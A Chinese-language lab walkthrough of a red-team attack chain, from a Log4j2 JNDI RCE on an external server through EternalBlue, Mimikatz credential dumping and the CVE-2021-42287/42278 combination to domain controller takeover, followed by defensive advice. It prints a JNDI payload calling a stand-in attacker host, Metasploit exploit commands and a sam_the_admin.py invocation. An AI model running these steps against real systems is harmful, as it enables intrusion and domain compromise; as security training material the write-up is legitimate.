从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC
字数 1618 2025-08-24 23:51:18

从外网Log4j2 RCE到内网域渗透:CVE-2021-42287和CVE-2021-42278漏洞利用实战

1. 靶场环境概述

本次靶场是一个典型的内网域渗透环境,包含以下关键组件:

  • 外网Ubuntu服务器(192.168.0.251)
  • 内网Windows 7域成员主机(10.0.1.7)
  • 域控制器(10.0.0.12)
  • 攻击者Kali Linux(192.168.0.175)

2. 外网渗透阶段

2.1 初始信息收集

使用Nmap进行端口扫描:

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.251

发现开放端口:

  • 22 (SSH)
  • 38080 (Web服务)

2.2 Log4j2漏洞利用(CVE-2021-44228)

  1. 验证漏洞存在性:

    • 向目标发送包含${jndi:ldap://attacker.com/exp}的请求
    • 观察到DNS查询记录,确认漏洞存在
  2. 攻击步骤:

    • 在Kali上启动LDAP服务
    • 使用nc监听反弹shell端口(9999)
    • 发送精心构造的payload触发RCE
  3. 成功获取Docker容器内的shell:

    • 在容器内发现flag文件:flag{redteam.lab-1}
    • 获得凭据:saul/Saul123

2.3 SSH登录

使用获得的凭据通过SSH登录目标服务器:

ssh saul@192.168.0.251

3. 内网渗透阶段

3.1 内网信息收集

  1. 发现内网网卡:

    • ens33:外网网卡
    • ens38:内网网卡(10.0.1.6)
  2. 扫描内网存活主机:

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

发现内网主机:10.0.1.7

  1. 建立代理通道:
    • 使用frp将内网流量代理到攻击机
    • 配置Metasploit socks代理

3.2 MS17-010永恒之蓝攻击

  1. 使用Metasploit扫描SMB版本:
use auxiliary/scanner/smb/smb_version

发现目标为Windows 7,域名为REDTEAM

  1. 执行永恒之蓝攻击:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.7
set payload windows/x64/meterpreter/bind_tcp
set LPORT 4444
exploit
  1. 获取Meterpreter会话后使用Mimikatz提取凭据:
Username: root
Domain: REDTEAM
Password: Red12345

3.3 域内信息收集

  1. 发现域控制器IP:10.0.0.12
  2. 添加路由:
run autoroute -s 10.0.0.7/24

4. 域控攻击阶段

4.1 漏洞原理(CVE-2021-42287 & CVE-2021-42278)

这两个漏洞组合被称为"域内大杀器",攻击流程如下:

  1. 创建一个机器账户(如saulGoodman$)
  2. 修改该账户的sAMAccountName属性为域控名称(如DC)
  3. 使用伪造的DC账户申请TGT票据
  4. 将sAMAccountName改回原始值(saulGoodman$)
  5. KDC会搜索DC$(真正的域控账户)
  6. 使用TGT进行S4U2self,模拟域管理员请求域控的ST票据
  7. 最终获得域控制器的权限

4.2 实际攻击步骤

  1. 使用Python脚本自动化攻击:
python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
  1. 成功获取域控制器权限

5. 总结与防御建议

5.1 攻击路径总结

  1. 外网Log4j2 RCE → Docker容器逃逸 → SSH登录
  2. 内网MS17-010攻击 → 获取域用户凭据
  3. 利用CVE-2021-42287和CVE-2021-42278 → 域控接管

5.2 防御建议

  1. 针对Log4j2:

    • 升级到Log4j 2.15.0或更高版本
    • 设置log4j2.formatMsgNoLookups=true
    • 限制出站网络连接
  2. 针对MS17-010:

    • 安装MS17-010补丁
    • 禁用SMBv1协议
    • 启用网络级认证(NLA)
  3. 针对域漏洞:

    • 安装2021年11月安全更新
    • 监控机器账户的创建和修改
    • 限制普通用户创建机器账户的权限
    • 启用高级审计策略监控敏感操作
  4. 通用防御:

    • 实施网络分段
    • 定期更新所有系统
    • 实施最小权限原则
    • 监控异常活动

6. 工具与资源

  1. 使用工具:

    • Nmap
    • Metasploit
    • Mimikatz
    • sam_the_admin.py (CVE-2021-42287利用脚本)
    • frp (内网穿透)
  2. 参考资源:

    • CVE-2021-44228 (Log4j2)详情
    • MS17-010漏洞详情
    • CVE-2021-42287和CVE-2021-42278技术分析
从外网Log4j2 RCE到内网域渗透:CVE-2021-42287和CVE-2021-42278漏洞利用实战 1. 靶场环境概述 本次靶场是一个典型的内网域渗透环境,包含以下关键组件: 外网Ubuntu服务器(192.168.0.251) 内网Windows 7域成员主机(10.0.1.7) 域控制器(10.0.0.12) 攻击者Kali Linux(192.168.0.175) 2. 外网渗透阶段 2.1 初始信息收集 使用Nmap进行端口扫描: 发现开放端口: 22 (SSH) 38080 (Web服务) 2.2 Log4j2漏洞利用(CVE-2021-44228) 验证漏洞存在性: 向目标发送包含 ${jndi:ldap://attacker.com/exp} 的请求 观察到DNS查询记录,确认漏洞存在 攻击步骤: 在Kali上启动LDAP服务 使用nc监听反弹shell端口(9999) 发送精心构造的payload触发RCE 成功获取Docker容器内的shell: 在容器内发现flag文件: flag{redteam.lab-1} 获得凭据: saul/Saul123 2.3 SSH登录 使用获得的凭据通过SSH登录目标服务器: 3. 内网渗透阶段 3.1 内网信息收集 发现内网网卡: ens33:外网网卡 ens38:内网网卡(10.0.1.6) 扫描内网存活主机: 发现内网主机:10.0.1.7 建立代理通道: 使用frp将内网流量代理到攻击机 配置Metasploit socks代理 3.2 MS17-010永恒之蓝攻击 使用Metasploit扫描SMB版本: 发现目标为Windows 7,域名为REDTEAM 执行永恒之蓝攻击: 获取Meterpreter会话后使用Mimikatz提取凭据: 3.3 域内信息收集 发现域控制器IP:10.0.0.12 添加路由: 4. 域控攻击阶段 4.1 漏洞原理(CVE-2021-42287 & CVE-2021-42278) 这两个漏洞组合被称为"域内大杀器",攻击流程如下: 创建一个机器账户(如saulGoodman$) 修改该账户的sAMAccountName属性为域控名称(如DC) 使用伪造的DC账户申请TGT票据 将sAMAccountName改回原始值(saulGoodman$) KDC会搜索DC$(真正的域控账户) 使用TGT进行S4U2self,模拟域管理员请求域控的ST票据 最终获得域控制器的权限 4.2 实际攻击步骤 使用Python脚本自动化攻击: 成功获取域控制器权限 5. 总结与防御建议 5.1 攻击路径总结 外网Log4j2 RCE → Docker容器逃逸 → SSH登录 内网MS17-010攻击 → 获取域用户凭据 利用CVE-2021-42287和CVE-2021-42278 → 域控接管 5.2 防御建议 针对Log4j2: 升级到Log4j 2.15.0或更高版本 设置 log4j2.formatMsgNoLookups=true 限制出站网络连接 针对MS17-010: 安装MS17-010补丁 禁用SMBv1协议 启用网络级认证(NLA) 针对域漏洞: 安装2021年11月安全更新 监控机器账户的创建和修改 限制普通用户创建机器账户的权限 启用高级审计策略监控敏感操作 通用防御: 实施网络分段 定期更新所有系统 实施最小权限原则 监控异常活动 6. 工具与资源 使用工具: Nmap Metasploit Mimikatz sam_ the_ admin.py (CVE-2021-42287利用脚本) frp (内网穿透) 参考资源: CVE-2021-44228 (Log4j2)详情 MS17-010漏洞详情 CVE-2021-42287和CVE-2021-42278技术分析